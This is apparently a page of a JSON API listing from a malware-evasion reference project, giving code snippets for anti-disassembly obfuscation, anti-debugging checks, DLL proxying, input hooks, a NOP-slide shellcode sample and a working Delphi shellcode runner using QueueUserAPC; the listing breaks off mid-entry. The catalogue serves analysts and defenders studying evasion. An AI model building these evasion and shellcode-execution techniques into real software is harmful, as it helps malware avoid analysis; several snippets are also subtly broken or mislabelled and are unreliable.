GET /api/snippets/?format=api&page=3
HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 237,
    "next": "https://unprotect.it/api/snippets/?format=api&page=4",
    "previous": "https://unprotect.it/api/snippets/?format=api&page=2",
    "results": [
        {
            "id": 141,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/76/?format=api",
            "description": "This code contains the original instructions, which declare and initialize the variables x and y, and use an if statement to compare their values. The obfuscated instructions use control flow flattling to make it more difficult for the disassembler to accurately interpret the instructions and generate correct disassembly output.\r\n\r\nThe while loop in the obfuscated instructions contains a large switch statement, which has multiple cases that hide the original if statements. This creates a complex and unstructured control flow that is difficult for the disassembler to follow.",
            "plain_code": "#include <iostream>\r\n\r\nint main() {\r\n    // Original instructions\r\n    int x = 0x12345678;\r\n    int y = 0x87654321;\r\n    if (x == y) {\r\n        x = 0x11111111;\r\n        y = 0x22222222;\r\n    } else {\r\n        x = 0x33333333;\r\n        y = 0x44444444;\r\n    }\r\n\r\n    // Obfuscated instructions using control flow flattening\r\n    int i = 0;\r\n    while (true) {\r\n        switch (i) {\r\n            case 0:\r\n                if (x == y) {\r\n                    x = 0x55555555;\r\n                    y = 0x66666666;\r\n                }\r\n                break;\r\n            case 1:\r\n                if (x != y) {\r\n                    x = 0x77777777;\r\n                    y = 0x88888888;\r\n                }\r\n                break;\r\n            // ...\r\n            default:\r\n                break;\r\n        }\r\n        i++;\r\n        if (i > 10) {\r\n            break;\r\n        }\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 140,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/79/?format=api",
            "description": "This code ncludes a real function, my_function, which is called by the original and obfuscated instructions. This allows the code to demonstrate the intended behavior of the original instructions, which is to declare and initialize the variable x, declare and initialize the pointer ptr, and use the pointer ptr to dereference and modify the value of x.\r\n\r\nHowever, the obfuscated instructions use pointers in a more complex way, by declaring and initializing two additional pointers, ptr1 and ptr2. This makes it more difficult for the disassembler to accurately interpret the instructions and generate correct disassembly output.",
            "plain_code": "#include <iostream>\r\n\r\nint my_function() {\r\n    std::cout << \"Hello, world!\" << std::endl;\r\n    return 0;\r\n}\r\n\r\nint main() {\r\n    // Original instructions\r\n    int x = 0x12345678;\r\n    int *ptr = &x;\r\n    *ptr = 0x87654321;\r\n\r\n    // Obfuscated instructions using pointers\r\n    int y = 0x12345678;\r\n    int *ptr1 = &y;\r\n    int *ptr2 = ptr1;\r\n    *ptr2 = 0x87654321;\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 139,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/82/?format=api",
            "description": "This code includes an exception handler that is called whenever an exception occurs. This exception handler calls the my_function function, which simply prints \"Hello, world!\" to the console. The obfuscated instructions use the SEH mechanism to obscure the control flow of the program, by raising an exception and handling it with the exception handler.",
            "plain_code": "#include <Windows.h>\r\n#include <stdio.h>\r\n\r\nvoid my_function() {\r\n    printf(\"Hello, world!\\n\");\r\n}\r\n\r\nLONG WINAPI exception_handler(EXCEPTION_POINTERS *exception) {\r\n    my_function();\r\n    return EXCEPTION_EXECUTE_HANDLER;\r\n}\r\n\r\nint main() {\r\n    int eax = 0x12345678;\r\n\r\n    // Obfuscated instructions using SEH\r\n    __try {\r\n        if (eax == 0) {\r\n            my_function();\r\n        }\r\n        RaiseException(0x12345678, 0, 0, NULL);\r\n    } __except (exception_handler(GetExceptionInformation())) {\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 138,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/84/?format=api",
            "description": "This allows the code to demonstrate the intended behavior of the original instructions, which is to always call the my_function function, regardless of the value of the eax register. This technique can make it difficult for a disassembler to accurately reconstruct the original instructions of the program, as the disassembler will not be able to determine the intended behavior of the program without actually executing it.",
            "plain_code": "#include <stdio.h>\r\n\r\nvoid my_function() {\r\n    printf(\"Hello, world!\\n\");\r\n}\r\n\r\nint main() {\r\n    int eax = 0x12345678;\r\n\r\n    // Original instructions\r\n    if (eax == 0) {\r\n        my_function();\r\n    }\r\n    if (eax != 0) {\r\n        my_function();\r\n    }\r\n\r\n    // Obfuscated instructions using back-to-back conditional jumps\r\n    if (eax == 0) {\r\n        my_function();\r\n    }\r\n    my_function();\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 137,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/86/?format=api",
            "description": "This code uses the malloc function to dynamically allocate memory for a target address that will be used as the target of a call instruction. It then uses the main function's address as the base for the target address, and adds an offset of 0x00000004 to it to compute the final target address. This computed target address is then stored in the dynamically allocated memory and is used as the target of the call instruction.",
            "plain_code": "#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\nint main() {\r\n    // Dynamically compute the target address of the \"call\" instruction\r\n    char *target = (char *)malloc(8);\r\n    *(unsigned long long *)target = (unsigned long long)main + 0x00000004;\r\n\r\n    // Use the dynamically computed target address in a \"call\" instruction\r\n    __asm__(\"mov eax, [%0]\\n\"\r\n            \"call eax\\n\"\r\n            :: \"r\" (target) : \"eax\");\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 136,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/87/?format=api",
            "description": "This code contains the original instructions mov eax, 0x12345678 and add eax, 0x00000004, but it also includes some \"garbage\" instructions (the nop instructions) between these two instructions. This breaks the normal sequence of instructions and can cause a disassembler to generate incorrect disassembly output.",
            "plain_code": "#include <stdio.h>\r\n\r\nint main() {\r\n    // Original instructions\r\n    __asm__(\"mov eax, 0x12345678\\n\"\r\n            \"add eax, 0x00000004\\n\");\r\n\r\n    // \"Garbage\" instructions that break the normal sequence of instructions\r\n    __asm__(\"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\");\r\n\r\n    // More original instructions\r\n    __asm__(\"mov ebx, 0x87654321\\n\"\r\n            \"sub ebx, 0x00000004\\n\");\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 135,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/125/?format=api",
            "description": "This code creates a NOP slide with eight NOP instructions and then inserts the shellcode at the end of the slide. When the program branches to the start of the code section, it will slide through the NOP instructions until it reaches the shellcode, which will then be executed. This demonstrates how a NOP slide can be used to direct program execution to a specific location when the exact branch target is not known.",
            "plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\n\r\n// Shellcode to spawn a cmd.exe process\r\nunsigned char shellcode[] = \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\r\n                            \"\\x68\\x63\\x6d\\x64\\x00\\x8b\\xc4\\x6a\\x01\\x50\\x6a\\x01\\x6a\\x02\\x6a\\x10\"\r\n                            \"\\x89\\xe1\\xb2\\x0c\\xcd\\x80\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\"\r\n                            \"\\x2f\\x63\\x61\\x6c\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\"\r\n                            \"\\xb0\\x0b\\xcd\\x80\";\r\n\r\nint main() {\r\n    // Insert a NOP slide at the start of the code section\r\n    __asm__(\"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\");\r\n\r\n    // Insert the shellcode at the end of the NOP slide\r\n    __asm__(\"jmp shellcode\");\r\n\r\n    // Allocate memory for the shellcode and copy it into place\r\n    void *shellcode_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    memcpy(shellcode_mem, shellcode, sizeof(shellcode));\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 134,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/126/?format=api",
            "description": "This code modifies the default function's return address to point to a different location, in this case 0x123456. It also inserts some \"garbage\" instructions (in this case, four no-op instructions) to break disassemblers that use recursive traversal or linear sweep. This makes it more difficult for disassemblers to accurately interpret the next instruction after the call, making them susceptible to other anti-disassembly techniques.",
            "plain_code": "#include <stdio.h>\r\n\r\nint main() {\r\n    // Store the current value of the return address\r\n    void *return_address = __builtin_return_address(0);\r\n\r\n    // Modify the return address to point to a different location\r\n    __builtin_return_address(0) = (void *)0x123456;\r\n\r\n    // Insert garbage bytes to break disassemblers\r\n    __asm__(\"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\"\r\n            \"nop\\n\");\r\n\r\n    // Use the modified return address\r\n    return 0;\r\n}"
        },
        {
            "id": 133,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/127/?format=api",
            "description": "In this example, the code first allocates an array of 10 random bytes and inserts them into the code. Then, it uses the garbage bytes to confuse a disassembler by adding them to the code in a way that does not affect the program's behavior. When the disassembler tries to analyze the code, it will be unable to correctly reconstruct the original program due to the presence of the garbage bytes. This can make it more difficult to understand and analyze the code's behavior and intentions.",
            "plain_code": "#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\nint main()\r\n{\r\n    // Insert garbage bytes into the code\r\n    char* garbage = malloc(10);\r\n    for (int i = 0; i < 10; i++)\r\n    {\r\n        garbage[i] = rand() % 256;\r\n    }\r\n\r\n    // Use the garbage bytes to confuse a disassembler\r\n    int a = 5;\r\n    int b = 10;\r\n    int c = a + b;\r\n\r\n    printf(\"The result is: %d\\n\", c);\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 132,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/128/?format=api",
            "description": "In this code, the registers eax and ebx are initially assigned to 0. The code then performs some operations on the registers, adding 1 to eax and 2 to ebx.\r\n\r\nNext, the code reassigns the registers by copying the value of `eax` into `ebx` and the value of `ebx` into `eax`. This means that the value of `eax` will be the same as the original value of `ebx`, and vice versa.\r\n\r\nFinally, the code performs more operations on the registers and returns the result. Because of the register reassignment, the final values of `eax` and `ebx` will be different than if the registers had not been reassigned.\r\n\r\nThis code is intended to be difficult to analyze and understand, as the register reassignment makes it more difficult to track the values of the registers. This can make it harder for a reverse engineer or disassembler to understand the code's behavior and intentions.",
            "plain_code": "; Initialize registers\r\nmov eax, 0\r\nmov ebx, 0\r\n\r\n; Perform some operations on the registers\r\nadd eax, 1\r\nadd ebx, 2\r\n\r\n; Reassign the registers\r\nmov ebx, eax\r\nmov eax, ebx\r\n\r\n; Perform more operations on the registers\r\nadd eax, 1\r\nadd ebx, 2\r\n\r\n; Return the result\r\nret"
        },
        {
            "id": 131,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/129/?format=api",
            "description": "This code snippet defines a vector of instructions, which are simply integer values from 1 to 10 in this example. The instructions are then shuffled using a random number generator, and the instructions are executed in the rearranged order.\r\n\r\nThis code demonstrates how code transposition can be used to rearrange the instructions of a piece of code in a random manner, making it more difficult to follow and understand. In a real-world scenario, the instructions would be more complex and would likely have a different impact on the behavior of the code.",
            "plain_code": "#include <iostream>\r\n#include <random>\r\n#include <vector>\r\n\r\nint main()\r\n{\r\n    std::vector<int> instructions = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };\r\n\r\n    // Use a random number generator to shuffle the instructions\r\n    std::random_device rd;\r\n    std::mt19937 g(rd());\r\n    std::shuffle(instructions.begin(), instructions.end(), g);\r\n\r\n    // Execute the instructions in the rearranged order\r\n    for (int instruction : instructions)\r\n    {\r\n        std::cout << instruction << std::endl;\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 130,
            "language": {
                "id": 10,
                "label": "C",
                "code_class": "C"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/130/?format=api",
            "description": "In this code, the first opaque predicate is similar to the previous example, where the value of z is calculated by multiplying x and y, which will always result in the value 15. The if statement then checks if z is equal to 15, which is always the case. This makes it difficult for an analyst to understand the intent of the code, as the logic behind the if statement is not immediately apparent.\r\n\r\nThe code then goes on to create another opaque predicate using the values of a and b. In this case, the value of c is calculated by subtracting b from a, which will always result in the value 5. The if statement then checks if c is equal to 5, which is always the case. This adds another layer of complexity to the code, making it even more difficult to understand and reverse engineer. By using multiple opaque predicates, malware authors can create highly obfuscated code that is very difficult to analyze.",
            "plain_code": "int main() {\r\n    int x = 3;\r\n    int y = 5;\r\n    int z = x * y;\r\n\r\n    // Opaque predicate: z will always be equal to 15,\r\n    // so this if statement will always be true\r\n    if (z == 15) {\r\n        // Do something malicious\r\n\r\n        // Create another opaque predicate\r\n        int a = 10;\r\n        int b = 5;\r\n        int c = a - b;\r\n\r\n        // This if statement will also always be true\r\n        if (c == 5) {\r\n            // Do something even more malicious\r\n        }\r\n    }\r\n}"
        },
        {
            "id": 129,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/72/?format=api",
            "description": "This code defines a function named calc_func_crc that calculates the checksum of a given function. It also defines the debuggee_function and debuggee_function_end functions, which are used as the input to the calc_func_crc function. The code then calculates the current checksum of the debuggee_function function and compares it to the original checksum stored in the ORIG_CRC variable. If the checksums do not match, it means the function has been modified and the code takes appropriate action. This is just an example and the code may need to be modified for more complex scenarios.",
            "plain_code": "import struct\r\n\r\n# Calculate checksum of function\r\ndef calc_func_crc(func_begin, func_end):\r\n    crc = 0\r\n    for i in range(func_begin, func_end):\r\n        crc += struct.unpack(\"B\", i)[0]\r\n    return crc\r\n\r\n# Debuggee function\r\ndef debuggee_function():\r\n    calc = 0\r\n    calc += 2\r\n    calc <<= 8\r\n    calc -= 3\r\n\r\n# End of debuggee function\r\ndef debuggee_function_end():\r\n    pass\r\n\r\n# Original function checksum\r\nORIG_CRC = 0x2bd0\r\n\r\n# Calculate current function checksum\r\nCUR_CRC = calc_func_crc(debuggee_function, debuggee_function_end)\r\n\r\n# Check if current checksum matches original checksum\r\nif CUR_CRC != ORIG_CRC:\r\n    print(\"Stop debugging program!\")\r\n    exit(-1)"
        },
        {
            "id": 128,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/73/?format=api",
            "description": "This code defines a function named IsDebuggerPresent that uses a try-except block to trigger an interrupt instruction and generate an exception. If the exception is handled, it means the code is being executed in a debugger and the function returns true. If the exception is not handled, it means the code is not being executed in a debugger and the function returns false. The main function calls IsDebuggerPresent and takes appropriate action based on the result. This is just an example and more advanced implementations may be needed for more complex scenarios.",
            "plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n\r\n// Function to check if the code is being executed in a debugger\r\nbool IsDebuggerPresent()\r\n{\r\n    __try\r\n    {\r\n        // Trigger an interrupt instruction to generate an exception\r\n        __debugbreak();\r\n    }\r\n    __except (EXCEPTION_EXECUTE_HANDLER)\r\n    {\r\n        // If the exception is handled, it means the code is being executed in a debugger\r\n        return true;\r\n    }\r\n\r\n    // If the exception is not handled, it means the code is not being executed in a debugger\r\n    return false;\r\n}\r\n\r\nint main()\r\n{\r\n    if (IsDebuggerPresent())\r\n    {\r\n        std::cout << \"Debugger detected\" << std::endl;\r\n        // Take appropriate action, such as exiting or altering behavior\r\n    }\r\n    else\r\n    {\r\n        std::cout << \"No debugger detected\" << std::endl;\r\n        // Continue with normal execution\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 127,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/219/?format=api",
            "description": "This code uses the ctypes library to load the legitimate DLL and retrieve the address of the function that will be called. It then defines a function named ProxyFunction that will be used to redirect calls to the legitimate DLL. When ProxyFunction is called, it will call the function in the legitimate DLL and return the result. As with the previous example, this code is just an example and more advanced implementations may be needed for more complex scenarios.",
            "plain_code": "from ctypes import cdll\r\n\r\n# Function prototype for the function that will be used to redirect calls to the legitimate DLL\r\nProxyFunction = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int)\r\n\r\ndef DllMain():\r\n    # Load the legitimate DLL\r\n    hLegitDLL = ctypes.windll.LoadLibrary(\"legit.dll\")\r\n    if not hLegitDLL:\r\n        # Handle error\r\n\r\n    # Retrieve the address of the function in the legitimate DLL\r\n    # This example uses a function named \"FunctionA\", but the function name can be anything\r\n    FunctionA = ProxyFunction(hLegitDLL.FunctionA)\r\n    if not FunctionA:\r\n        # Handle error\r\n\r\n# Function that will be used to redirect calls to the legitimate DLL\r\ndef ProxyFunction(arg):\r\n    # Call the function\r\n    return FunctionA(arg)"
        },
        {
            "id": 126,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/92/?format=api",
            "description": "The HookFunction is injected as a hook using the SetWindowsHookEx function, and it still calls the CallNextHookEx function to continue the normal flow of execution. The main function installs the hook, runs the message loop to receive events, and then uninstalls the hook when finished.",
            "plain_code": "import ctypes\r\nfrom ctypes.wintypes import HHOOK, LPARAM, LRESULT, WPARAM\r\n\r\n\r\n# The function to be injected as a hook\r\ndef HookFunction(code: int, wParam: WPARAM, lParam: LPARAM) -> LRESULT:\r\n    # Perform malicious actions here\r\n\r\n    # Return the result of the next hook in the chain\r\n    return ctypes.windll.user32.CallNextHookEx(None, code, wParam, lParam)\r\n\r\n\r\ndef main():\r\n    # Install the hook\r\n    hHook = ctypes.windll.user32.SetWindowsHookEx(\r\n        ctypes.c_int(14), HookFunction, None, 0\r\n    )\r\n\r\n    # Run the message loop to receive events\r\n    msg = ctypes.wintypes.MSG()\r\n    while ctypes.windll.user32.GetMessageW(ctypes.byref(msg), None, 0, 0):\r\n        ctypes.windll.user32.TranslateMessageW(msg)\r\n        ctypes.windll.user32.DispatchMessageW(msg)\r\n\r\n    # Uninstall the hook\r\n    ctypes.windll.user32.UnhookWindowsHookEx(hHook)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()"
        },
        {
            "id": 125,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/92/?format=api",
            "description": "In this code, the `HookFunction` is injected as a hook using the `SetWindowsHookEx` function. This function will be called whenever a low-level mouse event occurs, allowing the malware to monitor and manipulate user actions. The `CallNextHookEx` function is used to call the next hook in the chain, allowing the normal flow of execution to continue.",
            "plain_code": "#include <windows.h>\r\n\r\n// The function to be injected as a hook\r\nLRESULT CALLBACK HookFunction(int code, WPARAM wParam, LPARAM lParam) {\r\n  // Perform malicious actions here\r\n  \r\n  // Return the result of the next hook in the chain\r\n  return CallNextHookEx(NULL, code, wParam, lParam);\r\n}\r\n\r\nint main() {\r\n  // Install the hook\r\n  HHOOK hHook = SetWindowsHookEx(WH_MOUSE_LL, HookFunction, NULL, 0);\r\n  \r\n  // Run the message loop to receive events\r\n  MSG msg;\r\n  while (GetMessage(&msg, NULL, 0, 0)) {\r\n    TranslateMessage(&msg);\r\n    DispatchMessage(&msg);\r\n  }\r\n  \r\n  // Uninstall the hook\r\n  UnhookWindowsHookEx(hHook);\r\n  \r\n  return 0;\r\n}"
        },
        {
            "id": 124,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/113/?format=api",
            "description": "This code snippet demonstrate the use of `QueueUserAPC` with `NtTestAlert` to run our shellcode.\r\n\r\n⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.",
            "plain_code": "// Support both x86-32 and x86-64\r\n\r\nprogram APCRun;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.SysUtils,\r\n  WinAPI.Messages,\r\n  WinAPI.Windows;\r\n\r\ntype\r\n  EWindowsException = class(Exception)\r\n  private\r\n    FLastError : Integer;\r\n  public\r\n    {@C}\r\n    constructor Create(const WinAPI : String); overload;\r\n\r\n    {@G}\r\n    property LastError : Integer read FLastError;\r\n  end;\r\n\r\n\r\nconst STATUS_SUCCESS = NTSTATUS($0);\r\n\r\nfunction NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';\r\n\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n  FLastError := GetLastError();\r\n\r\n  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n      WinAPI,\r\n      FLastError,\r\n      SysErrorMessage(FLastError)\r\n  ]);\r\n\r\n  ///\r\n  inherited Create(AFormatedMessage);\r\nend;\r\n\r\n{$IFDEF WIN64}\r\n  // Execute a messagebox in target process (x86-64)\r\n  const PAYLOAD : array[0..284-1] of byte = (\r\n      $fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,\r\n      $41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,\r\n      $8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,\r\n      $0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,\r\n      $2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,\r\n      $48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,\r\n      $00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,\r\n      $18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,\r\n      $41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,\r\n      $c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,\r\n      $08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,\r\n      $66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,\r\n      $41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,\r\n      $58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,\r\n      $59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,\r\n      $30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,\r\n      $85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,\r\n      $d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,\r\n      $6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00\r\n  );\r\n\r\n{$ELSE}\r\n  // Execute a messagebox in target process (x86-32)\r\n  const PAYLOAD : array[0..236-1] of byte = (\r\n      $d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,\r\n      $71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,\r\n      $36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,\r\n      $24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,\r\n      $20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,\r\n      $fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,\r\n      $24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,\r\n      $1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,\r\n      $04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,\r\n      $ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,\r\n      $64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,\r\n      $ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,\r\n      $e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,\r\n      $03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,\r\n      $2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,\r\n      $e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90\r\n  );\r\n{$ENDIF}\r\n\r\nvar pPayload : Pointer;\r\n\r\nbegin\r\n  try\r\n    pPayload := VirtualAlloc(nil, Length(PAYLOAD), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    if not Assigned(pPayload) then\r\n      raise EWindowsException.Create('VirtualAlloc');\r\n    ///\r\n\r\n    CopyMemory(pPayload, @PAYLOAD, Length(PAYLOAD));\r\n\r\n    if not QueueUserAPC(pPayload, GetCurrentThread(), 0) then\r\n      raise EWindowsException.Create('QueueUserAPC');\r\n\r\n    NtTestAlert();\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 123,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
